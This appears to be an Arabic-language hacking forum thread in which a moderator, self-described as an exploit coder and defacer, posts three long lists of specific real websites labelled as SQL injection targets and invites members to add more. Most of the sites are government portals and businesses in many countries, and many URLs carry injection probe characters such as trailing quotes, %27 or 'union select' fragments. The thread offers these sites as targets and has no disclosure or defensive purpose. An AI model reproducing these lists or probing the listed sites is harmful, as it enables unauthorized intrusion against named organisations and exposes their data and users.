الوسوم:
  1. NETJOURNAL

    NETJOURNAL مشرف

    الأنتساب:
    ‏18 مايو 2006
    المشاركات:
    676
    الإعجابات المتلقاة:
    1,543
    نقاط الجائزة:
    93
    الجنس:
    ذكر
    الوظيفة:
    ExploitCoding - ShellCoding - Defacer
    الإقامة:
    etc/shadow/~root
    ألسلام عيكم و رحمه الله ..
    شلونكم شباب انشاء الله بخير ..
    ++++++++++++++++++++++++++
    هذا الموضوع مختص بمجموعه من الثغرات الشائعه .. اي مواقع مصابه بهذا النوع

    سواء من قبل اعضاءنا المحترمين او فريق العمل يرجى وضعها اهنا بهذا الموضوع

    SQL,LFI.,RFI,XSS,CSRF,LFD Bugs and so on

    +++++++++++++++++++++++++++++++++++
    Targets with SQL Injection bugs
    كود PHP:

    http
    ://www.bluec.co.kr/EN/index.php?mm_code=45
    http://www.mnbt.co.kr/en/index.php?mm_co...sm_code=96
    http://www.pctronix.co.kr/en/index.php?m...sm_code=85
    http://www.suhilelec.co.kr/index.php?mm_...sm_code=96
    http://www.bluec.co.kr/index.php?mm_code=45
    http://www.ttedu.co.kr/index.php?mm_code=89&sm_code=124
    http://www.krtc21.co.kr/index.php?mm_code=45&sm_code=75
    http://www.daerin.co.kr/index.php?mm_code=77
    http://www.finednc.co.kr/index.php?mm_code=78
    http://www.pctronix.co.kr/index.php?mm_code=79
    http://www.j-k.co.kr/index.php?mm_code=76
    http://www.yooa.co.kr/.../shopping-index.php?p=27
    http://www.nanumnews.kr/index.php?mm_code=45
    http://www.bears.kr/index.php?year=2012&month=09
    http://www.hoesung.co.kr/index.php?mm_code=45
    http://www.moksan.co.kr/index.php?mm_code=76
    http://www.edf.kr/index.php?fn=s4
    http://www.miland.co.kr/index.php?mm_code=77
    http://www.eli.or.kr/index.php?mm_code=113
    http://warnickart.com/posters/art.php?id=95
    http://www.discountseating.net/show_type...ified_user
    http://www.myrestaurantfurniture.com/sho...ified_user
    http://www.restauranttablebase.com/show_...ified_user
    https://www.ade.az.gov/GME/FundingProfil...asp?ID=544
    http://www.santacruz.gov.ar/licitacion/n....asp?id=42
    http://www.bellavista.gov.ar/bellavista/...?id=545
    http://www.shjmun.gov.ae/v2/english/proj...ID=2189
    http://www.unioneconsulenti.it/article.php?sid=1403
    http://www.boyce.us/gp/gpcontent.asp?ID=148
    http://www.ci.bremerton.wa.us/display.php?id=488The
    http://www.radioautomix.brazi.us/home/in...&id=7
    http://www.boyce.us/windows/servertipcontent.asp?ID=70
    http://www.ci.bremerton.wa.us/display.ph...+concat_ws
    http://s93138723.onlinehome.us/joomla/in...p;Itemid=1
    http://www.boyce.us/gp/gpcontent.asp?ID=147
    http://www.ci.bremerton.wa.us/display.ph...n+select+1
    http://s93138723.onlinehome.us/joomla/in...p;Itemid=1
    http://www.theperfectworld.us/summary.php?id=210
    http://resq.co.il/news/news_details.php?id=1
    http://www.globusman.co.il/globusman-index.php?id=1
    http://home.geoenv.biu.ac.il/lecturer_do...mp;num=151
    http://www.avicom.co.il/page.php?id=1
    http://www.wintec-israel.co.il/product_d...n.php?id=1
    http://www.connectionsmag.co.il/articlenav.php?id=1163
    http://www.innernet.org.il/printArticle.php?id=174
    http://www.safari.co.il/content.php?id=3
    http://resq.co.il/news/news_details.php?id=46
    http://schulich.technion.ac.il/faculty_member.php?id=31
    http://www.rhr.org.il/page.php?id=24
    http://engel-art.co.il/exhibitions.php?id=70
    http://www.semix.co.il/index2.php?id=11&catId=67
    http://www.innernet.org.il/printArticle.php?id=97
    http://www.yamit2000.co.il/content.php?id=92
    http://www.peoples.org.il/print.php?id=538
    http://www.azure.org.il/article.php?id=517
    http://lewin.co.il/themr123g/project.php?id=2
    http://tour-guides.co.il/itg/article.php?id=88
    http://www.yelli.co.il/index2.php?id=7&a...oductId=13
    http://www.likeu.co.il/last_likes.php?id...2046725914
    http://www.likeu.co.il/last_likes.php?id...2046725914
    http://ama-property.com/viewpost.php?id=999
    http://www.lucienkrief.co.il/details.php?id=606
    http://www.autosport.co.il/directory/det...?id=166
    http://www.braker.co.il/en/product-detai..._id=149
    http://www.baroni.co.il/details.asp?id=115
    http://www.eyevet.co.il/casestudy/details.asp?id=5
    http://www.crpf.org.uk/index.php?section=598
    http://cloneemotorcentre.ie/faq2.php?id=15
    http://www.cascademountain.com/faq2.php?id=2
    http://www.dgc.ca/faq2.php?id=173&faqid=571
    http://dwib.org/faq2.php?id=8
    http://www.hakwood.com/faq2.php?ID=2
    http://www.perfectnorth.com/faq2.php?id=8
    http://www.esigntrust.com/en/faq2.php?pageID=4&id=2
    http://www.westminsterteak.com/faq2.php?id=5
    http://www.knibbsandco.com/faq2.php?id=8
    http://www.gideons.com.my/news_process.php?id=1
    http://www.jbbb.ch/jbbbt3/index.php?id=4
    http://www.sluka.com.mx/detalle.php?id=60
    http://alumni.cttc.gov.in/alumni_details.php?id=3
    http://www.al-sulaimi.com/content_page.html?id=246
    http://www.lycored.com/web/content/newsExpansion.asp?NewsID=144
    http://www.goodymusic.it/antibe/news.asp?id=66
    http://www.mod.gov.ba/en/vijest.asp?id=756
    http://www.velki.com/email.asp?id=11172
    http://www.tchjbh.gov.cn/news_display.php?id=148
    http://www.shar-e.com/newsDetail.php?id=74
    http://www.odessachamber.com/newsdetail.php?id=14
    http://www.ukgraffiti.com/ukgv3/news/newsdetail.php?id=26
    http://www.evt-me.com/newsDetail.php?id=8
    http://www.kalonjirecords.com/index.php?pageID=237
    http://www.judgementyard.org/index.php?pageID=170
    http://www.sizzla.org/index.php?pageID=237
    http://www.moneytransferinternational.org/?pageID=10&type=public
    http://www.bbabracadabra.it/gallery.php?id=10
    http://www.simplytobago.com/gallery.php?id=47
    http://www.rakhotel.net/gallery.php?id=123
    http://www.jamestrussart.com/gallery.php?id=9
    http://weanimals.org/gallery.php?id=90
    http://www.visualdiving.com/gallery.php?id=vd_gd01
    http://www.koheiowatari.com/gallery.php?id=2
    http://www.chinapanda.org.cn/gallery.php?id=106
    //www.scarebird.com/index.php?id=1
    http://www.idealclamps.com/catalog/index.php?ID=1
    http://www.uselitewine.com/index.php?id=1
    http://cfijerusalem.net/index.php?id=1.0
    http://www.nacso.org/news.php?id=1
    http://www.tommyford.com/2009/news.php?id=1
    http://www.britepromotions.com/news.php?id=1
    http://www.gatariair.com/news.php?id=1
    http://www.whitefieldmarketing.com/news.php?id=1
    http://www.ipswichclambake.com/news.php?id=1
    http://www.innosongroup.com/news.php?id=1
    http://www.descendentsguild.org/ngf/news.php?id=1
    http://www.gatariair.com/news.php?id=1
    http://www.anthra.org/news.php?id=1
    http://michelinecolette.com/news.php?id=1
    http://www.waffletime.com/news.php?&id=1
    http://www.redmonkeyfoods.com/news.php?id=1
    http://www.redmonkeyfoods.com/news.php?id=1
    http://www.pcofiowa.com/news.php?id=1
    http://www.gdansk.rzgw.gov.pl/index.php?...2,8,42,66'
    http://www.bxlz.gov.cn/ly.php?page=%22
    http://szczepienia.pzh.gov.pl/main.php?p=3&id=1'
    http://legionowo.sr.gov.pl/index.php?id=152
    http://www.caa.gov.lk/web/index.php?opti...83&lang=en
    http://www.cultura.gov.ar/becas/?id=1'&info=detalle
    http://www.uibm.gov.it/index.php?option=...d=2004049'
    http://al.ap.gov.br/pagina.php?pg=buscar...agina=-252
    http://www.dosh.gov.my/doshV2/index.php?...-1&lang=en
    http://www.idfr.gov.my/index.php?option=...3'&lang=en
    http://www.km.gov.al/?fq=brenda&r=&gj=gj2.&kid=39'
    http://www.nama.gov.ng/press.php?id=1'
    http://www.ji-parana.ro.gov.br/noticia.php?id=-217
    http://cancelaria.gov.md/libview.php?l=ro&id=855&idc=1'
    http://www.ranchomirageca.gov/department....php?id=1'
    http://www.mocat.gov.bd/personnel.php?id=1'
    http://www.zxws.gov.cn/myweb/main/?id=1'
    http://picturingamerica.neh.gov/public_a...ed_city=1'
    http://www.volunteerday.tas.gov.au/register.php?id=1'
    http://gp.macau.grandprix.gov.mo/mgpc/ga...&page_no=1
    http://lodz.uw.gov.pl/bip.php3/%3Cbr%20/...34&id='152
    http://www.szczecin-pz.sr.gov.pl/bip2/index.php?id=-1
    http://nowydwormaz.sr.gov.pl/index.php?id='107
    http://www.berryvilleva.gov/article.php?page_a='2&id='9
    http://www.ecs.gov.bd/English/DivPartyGe...tionName=1
    http://www.terekta-bko.gov.kz/?menuid=1705'
    http://history.wiltshire.gov.uk/archives...r=Previous
    http://www.riyadhedu.gov.sa/section2/eg....mgs=dlile'
    http://www.e-solat.gov.my/statistik.php?f=-1
    http://observatorio.insor.gov.co/proyect...;;;&x=303'
    http://www.provincia.alessandria.gov.it/..._tempo=asc
    http://history.ky.gov/audio.php?pageid=9...&month=03'
    http://www.psf.gov.pk/staffdetail.php?id='123
    http://katowice-wschod.sr.gov.pl/drukuj....'4&id='130
    http://szczepienia.pzh.gov.pl/main.php?p...'&drukuj=1
    http://gios.gov.pl/kep_porownanie.php?za...k_od='2010
    http://web.yizheng.gov.cn/yzdaj/more1.ph...geSize=30'
    http://www.gios.gov.pl/kep_porownanie.ph...szczenie=1
    http://www2.saude.al.gov.br/taxonomy/term/1?page=6'
    http://www.loufeng.gov.cn/zhengwu_03.php?tid=12'
    http://chechnya.gov.ru/page.php?r=180&id=1'
    http://rzeszow.wif.gov.pl/?id='143
    http://elblag.up.gov.pl/art/id/342?niedowidzacy='1
    http://archiwum.bip.inowroclaw.ug.gov.pl...27&more='1
    http://www.mocat.gov.bd/personnel.php?id=1'
    http://ustka.ug.gov.pl/index.php?option=...il&id='165
    http://wolomin.sr.gov.pl/stara/index.php?id='279&p='3
    http://laziska.um.gov.pl/plik.php?id='121&typ='galeria
    http://www.molod-kredit.gov.ua/zakon.php?id=16'
    http://www.montecaseros.gov.ar/notix/imprimir.php?id=-1
    http://www.catalao.go.gov.br/site/img/?secao=1'
    http://olsztyn.is.gov.pl/2812/index.php?...temid='118
    http://web.roldan.gov.ar/noticias.display.php?id=123'
    http://ddcokhaldhunga.gov.np/en/pages.ph...pae_ID=31'
    http://www.ezhouinvest.gov.cn/info.php?rid=1'
    http://www.zshda.gov.al/index.php?id=123'
    http://www.npbnto.gov.tw/ct/FAQ_Print.ph...bull_id=4'
    https://www.salesoliveira.sp.gov.br/inde...o'&page=2'
    http://www.eskisehirmuftulugu.gov.tr/ind...9&page=86'
    http://www.yatsen.gov.tw/chinese/online/...7'&Page=1'
    http://www.grants-gov.net/relatedcontent...1'&page=2'
    http://www.upp.kostanay.gov.kz/ru/?optio...Itemid=588
    tabigatpv.gov.kz/index.php?lang=kz&option=com_content&Itemid=11
    http
    ://www.invest.gov.kz/?option=content...ar&lang=ru
    http://www.lacumbre.gov.ar/index.php?put...lect+1000-
    http://www.legco.gov.vg/index.php?pageid=11'
    http://www.stc.gov.ae/en/transport-inter...hp?id=112'
    http://www.hzsq.gov.cn/view1.php?id=7543'
    http://wnpop.gov.cn/detailed.php?id=3474'&cat_id=6'
    http://www.gov.ai/ministry.php?id=2'
    http://www.zshda.gov.al/index.php?id=84'
    http://www.akbn.gov.al/index.php?id=2&me.../view_gal'
    http://www.cadenasdevalor.gob.ar/Fuentes...hp?n=1247'
    http://www.villaallende.gov.ar/va_mostrar.php?id=876'
    http://www.sancayetano.gov.ar/deporte-tu...8'&c=AAGA'
    http://www.diputadosmisiones.gov.ar/perfiles.php?id=5'
    http://www.turismo.misiones.gov.ar/ampliar.php?id=37'
    http://www.shootingcentre.nsw.gov.au/cal...&cat_id=9'
    http://www.buenosaires.gov.ar/areas/ciud...'&ide=309'
    http://www.mocat.gov.bd/personnel.php?id=1'
    http://www.bsfic.gov.bd/centerCont.php?id=8'
    http://chr.police.gov.bd/request_entry.p...'&lang=en'
    http://www.mucurici.es.gov.br/imprimir.php?id=113'
    http://www.secult.es.gov.br/blogs/?id=/blog.php'
    http://paraibuna.sp.gov.br/noticia.php?id=662'
    http://www.sead.pi.gov.br/album.php?id=205'
    http://www.crbio03.gov.br/noticias/index...tegoria=7'
    http://www.juatuba.mg.gov.br/vernoticias.php?id=1'
    http://www.ibate.sp.gov.br/index.php?id=25'
    http://www.arapora.mg.gov.br/imprimir.php?id=795'
    http://oeiras.pi.gov.br/noticias.php?id=...mentarios'
    http://www.pmcg.ms.gov.br/egov/downloadF...ec=fundac'
    http://www.iac.sp.gov.br/noticiasdetalhes.php?id=748'
    http://www.ade.az.gov/arizonaheat/provid...returnP=1'
    http://www.bhutan.gov.bt/government/mini...min_id=16'
    http://webhosting.redsalud.gov.cl/transp...&item=121'
    http://www.ccpitzj.gov.cn/showlink_E.php?id=23'
    http://www.comic.gov.cn/news_show.php?id=7738'
    http://www.ykzzb.gov.cn/info.php?id=162'
    http://www.hzsq.gov.cn/news.php?id=154'
    http://wnpop.gov.cn/detailed.php?id=3474'&cat_id=6'
    http://www.dyjy.gov.cn/articleshow.php?id=12400'
    http://www.meda.gov.cn/en/newsshow.php?id=1719'
    http://www.tchjbh.gov.cn/news_display.php?id=148'
    http://www.cpae.gov.co/index.php?id=7'
    http://www.anh.gov.co/es/index.php?id=1'
    http://www.bogota.gov.co/equidad/newequi.php?id=1'
    http://www.fineart.gov.eg/arb/cv/cv.asp?IDS=380
    http://www.mfa.gov.et/Press_Section/publ...mber=3311'
    http://www.gibraltarlaws.gov.gi/view_art...000001614'
    http://sinit.segeplan.gob.gt/sinpet/inst...ECTRONICO'
    http://www.mkeh.gov.hu/index.php?name=OE...howheader'
    http://regionalinvestment.bkpm.go.id/new....php?ic=2'
    http://pustaka.litbang.deptan.go.id/eng/....php?id=3'
    http://spore.cta.int/index.php?option=co...'&catid=7'
    http://www.uibm.gov.it/index.php?option=...'&lang=it'
    http://www.tenders.go.ke/view.tender.php?id=400'
    http://www.nscpeace.go.ke/108/media.php?id=459'
    http://www.nema.go.ke/index.php?option=c...'&deoid=7'
    http://www.cljr.gov.kh/partners/index.ph...'&lang=en'
    http://www.phnompenh.gov.kh/download_fil...066890196'
    http://www.babymam.go.kr/kimson/home/jon...d=preg_06'
    http://tour.geumsan.go.kr/_prog/_board/?...=gubun_04'
    http://www.region.go.kr/news/record_read.php?id=44377'
    http://english.yangsan.go.kr/program/boa...d=6'&hid='
    http://ru.ontustik.gov.kz/category.php?id=74'
    http://touristguide.ncp.gov.lk/bin/thing....php?id=3'
    ---------------------------------
    http://www.nubi.dk/trainers.php?p=3
    http://www.meia.mb.ca/whatsnew.php?ID=124 
    https://corporaterecruitersinc.com/whatsnew.php?id=4
    http://rk-ny.org/whatsnew.php?id=28 
    http://www.vanasch.school.nz/news.php?id=5 
    http://www.tactstaff.com/templates/whatsnew.php?id=181 
    http://ipv6now.hk/en/Event_WhatsNew_Details.php?id=4
    http://www.dbisoftware.com/blog/db2nightshow.php?id=439
    http://www.samtse.gov.bt/whatsnew.php?id=15
    http://www.arsenaultbros.com/whatsnew.php?id=29 
    http://www.bigscreen.com/about/help.php?id=36 
    http://belleayremusic.org/music-festival-concert.php?id=130 
    http://www.ian.cc/notas/accion_pro.php?id=24
    http://www.police.gov.bd/content.php?id=275
    http://sos.noaa.gov/Datasets/dataset.php?id=332 
    http://www.gov.ai/department.php?id=5&dept=14
    http://www.jaraguadosul.sc.gov.br/downloads.php?id=14245 
    http://informatics.gov.sa/old/details.php?id=259 
    http://www.sesrtcic.org/sesric-links-ar.php?id=6
    http://www.peife.gov.sy/viewMisc_pages.php?id=1
    https://nabatieh.gov.lb/t7.php?id=47
    http://www.epas.gov.ar/ver_noticia.php?id=75 
    http://salud.santacruz.gov.ar/visualizacion.php?id=156
    http://www.villacarlospaz.gov.ar/turismo/turismo.php?id=4
    http://www.ora.gov.ar/noticias.php?id=326 
    http://engel-art.co.il/exhibitions.php?id=70
    http://www.diskit.co.il/pages.php?id=3
    http://www.katkot.co.il/viewcornernews.php?id=00000084
    http://www.printmaking.co.il/artists.php?id=47
    http://www.tacc.co.il/story.php?id=9
    http://www.luthi.co.il/profile.php?id=5
    http://www.namalyafo.co.il/index.php?id=2
    http://www.nonstop.co.il/kb/view.php?kb=29
    http://hasharat.co.il/html/artist.php?id=3358
    http://www.khan.co.il/item_heb.php?id=40
    http://www.tglco.ir/page.php?id=30
    http://www.petrosazehco.ir/eng/viewtopic.php?id=11
    http://www.mafaco.ir/mafaco-article.en.php?cat=&id=11
    https://partytownky.com/product.php?id=7970
    http://www.awt.com.pk/bs.php?id=14
    http://www.mb.com.pk/products.php?id=29
    http://www.fm.com.pk/detailuniversity.php?id=3
    http://www.igroup.com.lb/commercial-details.php?id=8
    http://kotakasablanka.co.id/tenant.php?id=10
    http://www.whitehorse.co.id/main.php?SiteCatID=4
    http://nocampo.com.br/project.php?id=27
    http://www.vainerepaoliello.com.br/curriculum.php?id=7
    http://www.sofressor.com.br/lerNoticia.php?id=143
    http://www.sensoassessoria.com.br/verConcurso.php?id=30
    http://folhanoticias.com.br/portal/noticia.php?id=3618
    http://www.hitsfm.com.np/page.php?id=3
    http://www.deoc.gov.np/content.php?id=60
    http://cta.co.at/index.php?id=63
    http://www.mindsparke.com/iq.php?id=2
    http://www.cementcorporation.co.in/page.php?id=20
    http://www.pelli.co.in/view_profile_byid.php?id=15180
    http://fairwayshipping.co.in/certification.php?id=3
    http://www.dakshindare.co.in/official.php?id=3
    http://createmytravel.co.in/hotel-details.php?id=6
    http://www.comtronics.co.in/products.php?id=2
    http://www.bpc.gov.bd/contactus.php?id=13
    http://www.jaidah.com.qa/division.php?id=2
    http://www.cofi.co.za/promotioninfo.php?id=37
    http://www.awco.nl/index.php?taal=2
    http://lunchenco.nl/gallery.php?id=69
    http://www.mayaholidays.com.tr/news.php?id=2
    http://www.grafen.com.tr/news_detail.php?id=20
    http://www.tuprag.com.tr/page.php?ID=80
    http://www.jurago.fr/francais/articles/index.php?id=8
    http://www.pcidatabase.com/vendor_details.php?id=1697
    http://www.justwin.com.tw/products_detail.php?id=24
    http://www.vsmc.com.vn/news_detail.php?id=19
    http://www.gov.pe.ca/cca/baptismal/detail.php?id=75895
    http://sa.lifebeinit.org/standard.php?id=1897
    http://www.rowingsa.asn.au/page.php?id=9
    http://greatgulf.com/php/register.php?id=72
    http://www.fenixthegreen.se/register.php?id=43
    +++++++++++++++++++++++++++++++++++
    ننتظر ابداعات و اضافات الأعضاء .
    ً#ٌ5oًًًُ.دمتم بود ً#ٌ5oًًًُ.
     
  2. NETJOURNAL

    NETJOURNAL مشرف

    الأنتساب:
    ‏18 مايو 2006
    المشاركات:
    676
    الإعجابات المتلقاة:
    1,543
    نقاط الجائزة:
    93
    الجنس:
    ذكر
    الوظيفة:
    ExploitCoding - ShellCoding - Defacer
    الإقامة:
    etc/shadow/~root
    رد: Sql,lfi.,rfi,xss,csrf,lfd bugs

    SQL BUGS Targets 2

    كود PHP:
     http://cbl.gov.ly/en/home/details.php?id=687'
    http://www.npc.gov.ly/experts/list/view.php?id=1876'
    http://www.ccist.gov.ma/contenu.php?id=3'
    http://www.mscl.gov.mg/organisme/organes.php?id=1'
    http://ohridler.gov.mk/soo/details.php?id=15'&lang=en'
    http://www.macautourism.gov.mo/en/main/h....php?id=3'
    http://www.tvet.gov.mv/newspage.php?id=2'
    http://www.educacion.yucatan.gob.mx/show...p?id=1429'
    http://www.sefomec-coahuila.gob.mx/modulo10.php?id=45'
    http://culturacolima.gob.mx/cms/nota.php...62'&cat=1'
    http://www.gobiernodigital.inah.gob.mx/m...Pagina=33'
    http://programas.jalisco.gob.mx/detalleP...hp?id=794'
    http://www.naucalpan.gob.mx/comunicado_c...hp?id=444'
    http://www.congresomich.gob.mx/index.php?id=271'
    http://portal.sre.gob.mx/chicago/popups/...php?id=64'
    http://seia.guanajuato.gob.mx/panel/docu...p?id=1147'
    http://www.mec.gov.mz/forum/forum_topico.php?id_cat=7'
    http://www.moe.gov.na/m_pro_projects.php...ojectid=3'
    http://www.jigawastate.gov.ng/contentpage.php?id=255'
    http://www.nass.gov.ng/nass/news.php?id=157'
    http://www.mem.gob.ni/index.php?s=1'&idp...2'&id=424'
    http://www.nta.gov.np/en/aboutus/index.php?id=7'
    http://bhaktapur.gov.np/newsdetail.php?id=157'
    http://www.ncasc.gov.np/news.php?id=21'
    http://www.dwss.gov.np/dwss-pictures.php?id=28'
    http://www.ird.gov.np/ird/index/document...php?id=18'
    http://www.nepalntp.gov.np/content.php?id=206'
    http://www.mof.gov.np/demo/en/newsroom/d...php?id=52'
    http://proinvex.mici.gob.pa/index.php?op...'&lang=en'
    http://www.sistemapenitenciario.gob.pa/n....php?id=1'
    http://www.projoven.gob.pe/institucional.php?id=15'
    http://www.munimarcona.gob.pe/ver_notasp...php?id=69'
    http://www.inpe.gob.pe/contenidosprensa....reccion=1'
    http://www.drtcp.gob.pe/view_deta.php?di...esta'&id='
    http://www.peru.gob.pe/transparencia/pep...id_tema=1'
    http://www.hospitalvitarte.gob.pe/cas.php?id=117'
    http://www.dole.gov.ph/list_of_holidays.php?id=95'
    http://archives.pia.gov.ph/wdavh2011/?m=...sm=events'
    http://www.gjtmap.gov.pk/ngos/sb_bro_ngo.php?id=14'
    http://www.psf.gov.pk/staffdetail.php?id=10'
    http://multan.gov.pk/files.php?id=1'
    http://www.lhc.gov.pk/judges/jbiodata.php?id=132'
    http://profile.hec.gov.pk/?comp=registra...6tb6XfCz9'
    http://www.multan.gov.pk/page.php?data=193'
    http://www.psf.gov.pk/abstract.php?id=5'
    http://www.ncsw.gov.pk/news-details.php?id=29'
    http://cnw.gob.pk/tenderview.php?id=19'
    http://www.sindhinformation.gos.pk/showp...hp?id=181'
    http://smart.ippt.gov.pl/index.php?id=re...nferences'
    http://fluid.ippt.gov.pl/ictam04/php/ext...p?id=1734'
    http://www.planonacionaldeleitura.gov.pt...4'&id=200'
    http://www.seprelad.gov.py/contenido.php?id=21'
    http://www.sas.gov.py/xhtml/login/notisas.php?id=102'
    http://www.rosprom.gov.ru/snews.php?id=166'&vers=print'
    http://www.orinfor.gov.rw/printmedia/top...p?id=4258'
    http://tabukedu.gov.sa/ta31/send2.php?id=4605'
    http://www.parliament.gov.sd/en/presidents.php?id=1'
    http://www.pepam.gouv.sn/annuaire.php?id=95'&lang=fr'
    http://www.nombredejesus.gob.sv/pages/pr...php?id=50'
    http://www.sansalvador.gob.sv/comunicaci....php?id=3'
    http://www.mahrukat.gov.sy/news.php?id=13'
    http://thailand.prd.go.th/view_around_th...p?id=6081'
    http://thainews.prd.go.th/en/news.php?id=255410140004'
    http://www.maerang.go.th/webboard_view.php?id=146'
    http://inter.mua.go.th/main2/news_detail.php?id=72'
    http://www.dmh.moph.go.th/news/view.asp?id=1008'
    http://www.ubon.go.th/dept/dtdetail.php?id=28971'
    http://www.sisaketedu1.go.th/nineboard/v...p?id=2877'
    http://www.nph.go.th/consult/nphboard/np...000000046'
    http://www.oae.go.th/main.php?filename=index___EN'
    http://www.navy.mi.th/newwww/code/specia....php?id=0'
    http://www.grandprix-tunis.gov.tn/en/index1.php?id=21'
    http://www.marchespublics.gov.tn/onmp/ba...&idb=78'&'
    http://www.finance.gov.tt/services.php?mid=10'
    http://www.tycc.gov.tw/mp_all.php?id=1'
    http://express.culture.gov.tw/events_det...p?id=6761'
    http://tpeusar.tfd.gov.tw/inside_NewsList.php?id=71'
    http://tainan.cca.gov.tw/about_news_more.php?id=16'
    http://www.tcu.go.tz/info/news/view_news.php?id=56'
    http://www.marineparks.go.tz/parks_info.php?id=1'
    http://www.maji.go.tz/news_events/view_n...e=Current'
    http://www.meac.go.tz/news_events/view_e...e=Current'
    http://www.pmoralg.go.tz/news_events/vie...e=Current'
    http://www.vpo.go.tz/announcements/view_...ationID=1'
    http://www.meteo.go.tz/data.php?id=19'
    http://www.mem.go.tz/news_events/view_ne...e=Current'
    http://www.meteo.go.tz/news_events/view_...hp?id=326'
    http://www.tira.go.tz/news_events/view_n...php?id=56'
    http://www.zanzibarassembly.go.tz/news_e...e=Current'
    http://www.mkurabita.go.tz/resource_cent...oselang=1'
    http://tender.ppra.go.tz/tender_details.php?id=4356'
    http://www.dabi.gov.ua/news_text.php?id=589'
    http://www.uaan.gov.ua/akademiki.php?id=112'
    http://dzz.gov.ua/CPOSI/style/page_2/tem...onitoring'
    http://www.unbs.go.ug/news.php?id=52'
    http://www.ugabif.go.ug/ncd/organisation...php?id=41'
    http://hsc.go.ug/general/downloads.php?id=9'
    http://www.opm.go.ug/news.php?News_id=40'
    http://jlos.go.ug/page.php?p=curnews'&id=54'
    http://amuru.go.ug/districtprofile_category.php?id=18'
    http://www.mia.go.ug/pagex.php?p=news'&id=2'
    http://www.fonep.gob.ve/noticias.php?id=195'
    http://www.inzit.gob.ve/detalle_noticias.php?id=53'
    http://www.sisov.mpd.gob.ve/estudios/det...hp?id=158'
    http://www.monteavila.gob.ve/mae/catalog...hp?id=225'
    http://www.fundayacucho.gob.ve/vistas/en...php?id=70'
    http://www.dpe.gov.za/home.php?id=581'
    http://www.mpuleg.gov.za/show.php?id=11'&menu=17
     
  3. NETJOURNAL

    NETJOURNAL مشرف

    الأنتساب:
    ‏18 مايو 2006
    المشاركات:
    676
    الإعجابات المتلقاة:
    1,543
    نقاط الجائزة:
    93
    الجنس:
    ذكر
    الوظيفة:
    ExploitCoding - ShellCoding - Defacer
    الإقامة:
    etc/shadow/~root
    رد: Sql-lfi-rfi-xss-csrf-lfd bugs

    SQL GOVS Targets

    كود PHP:
    http://www.ntp.gov.pk/viewFolder.php?id=10%27
    http://www.faisalabadpolice.gov.pk/page.php?id=114%27
    http://multan.gov.pk/files.php?id=1%27
    http://www.bzu.edu.pk/departmentindex.php?id=48%27
    http://www.pqa.gov.pk/news_events.php?id=25%27
    http://www.bpc.gov.bd/contactus.php?id=13%27
    http://bdlaws.minlaw.gov.bd/pdf_part.php?id=367%27
    http://knowindia.gov.in/knowindia/profile.php?id=2%27
    http://www.police.gov.bd/content.php?id=275%27
    http://hvo.wr.usgs.gov/pressreleases/view.php?id=111%27
    http://toxtown.nlm.nih.gov/text_version/chemicals.php?id=1%27
    http://www.moj.gov.qa/readnews.php?id=779%27
    http://www.gab.gov.sa/article.php?id=1%27
    http://www.nevsehirozelidare.gov.tr/sayfa.php?id=11%27
    http://www.tlg.gov.ge/content.php?id=84%27
    http://www.peife.gov.sy/viewMisc_pages.php?id=1%27

    --------------------------------

    new sites SQL vuln by iq-team
    كود PHP:

    http
    ://www.oar.org.ro/press.php?id=137
    http://www.coral-shop.com/news.php?id=220
    http://www.tranzeo.com/investors/press.php?id=82
    http://www.goodsam.org/news/press.php?id=4
    http://www.colinst.com/brief.php?id=61
    http://www.klaipedainfo.lt/en/?page=3&sub=5
    http://www.ufz.de/index.php?en=31717
    http://www.ir.ucg.ac.me/eng/news_archive.php?grupa=1
    http://www.circumstellardisks.org/show.php?id=85
    http://www.swarm-bots.org/index.php?main=3&sub=33
    http://www.gasesmag.com/articles.php?pid=19
    http://www.holleyberry.com/products-sub.php?id=16
    http://www.bettylousinc.com/products_diet.php?id=5
    http://www.speakerplans.com/index.php?id=x1
    http://www.albemarleheating.net/products-sub.php?id=114
    http://www.prudentialhvac.com/products-sub.php?id=128
    http://www.kidswithfoodallergies.org/resourcespre.php?id=104
    http://www.tolaram.com/news-eventdetails.php?id=34
    http://www.worldtoiletday.org/learn_detail.php?id=1
    http://www.wayneshvac.com/products-sub.php?id=501
    http://www.ore-cal.com/sub.php?id=5
    http://jswrestaurant.com/sub.php?id=55&parent=2
    http://www.reinerac.com/products-sub.php?id=463
    http://www.rsatidewater.com/products-sub.php?id=473
    http://sherlock-holmes.org.uk/press_cutting.php?id=270
    http://bdlaws.minlaw.gov.bd/print_sections_all.php?id=367
    http://www.norcoha.com/products-sub.php?id=111
    http://www.burtonconstable.com/thehouse/house-sub.php?id=8
    http://www.museorevoltella.it/museo.php?sub=7&ID=39
    http://www.lifecenterplus.com/sub.php?val=31
    http://www.cossw.pl/sub.php?id=66%27
    http://www.newsdirectonline.com/newstory.php?ID=9145
    http://www.journalofmaps.com/crossrefMap.php?mid=1092
    http://www.gwiin.com/page.php?pid=46
    http://www.mypaninicafe.com/catering.php?mid=13
    http://nregsburdwan.com/pagelist.php?Mid=68
    http://www.phpbuddy.com/article.php?id=17
    http://ssristories.org/show.php?item=1837
    http://www.hollowaysofludlow.com/look.php?Lvl=2&id=2
    http://boubette.fr/look.php?site=boubette&id=25
    http://gravidachic.com.br/look.php?id=3
    http://www.showboxexhibits.com/look.php?id=40
    http://3dstarcity.com.ua/look.php?id=11
    http://www.kidswithfoodallergies.org/resourcespre.php?id=37
    http://www.bamagazine.com/Articles.asp?ID=172
    http://www.cello-pack.com/about.php?id=4
    http://mieux.in/about.php?id=3
    http://www.slavsandtatars.com/about.php?id=25
    http://www.micro-mechanics.com/about.php?id=3
    http://www.kelairvacances.fr/kelair.about.php?id=57
    http://www.karnaticlabrecords.com/cart.php?id=88
    http://www.creationcare.org/blank.php?id=35
    http://mortgages.bankphb.com/about.php?ID=1
    http://www.pixheaven.net/galerie_us.php?id=10
    http://www.pacificcross.co.id/about.php?page=3
    http://www.tidytowns.ie/interior.php?id=2
    http://www.myoutlets.com.sg/about.php?id=24
    http://www.blenheims.co.uk/leaseholdersandresidents/details.php?id=33
    http://www.cti-pfan.net/privacy.php?id=9
    http://www.totalbhakti.com/shop.php?cid=34
    http://www.casateresina.co.uk/features/detail.php?id=17
    http://www.nextbase-shop.com/index.php?catID=7
    http://www.cifop.be/ressource/lienmort.php?id=4
    http://www.beautiful-lodge.be/annonce_detail.php?id=266?id=266
    http://www.offborderhill.be/home.php?nav=33&id=89
    http://www.themadeiracollection.be/#/bottle/?t=content
    http://www.aigremont.be/EN/PRODUCTS/pro_detail.php?s=2&id..
    http://www.badalini.be/home_fr.php?azione=scheda_prodotto_fr&id=54
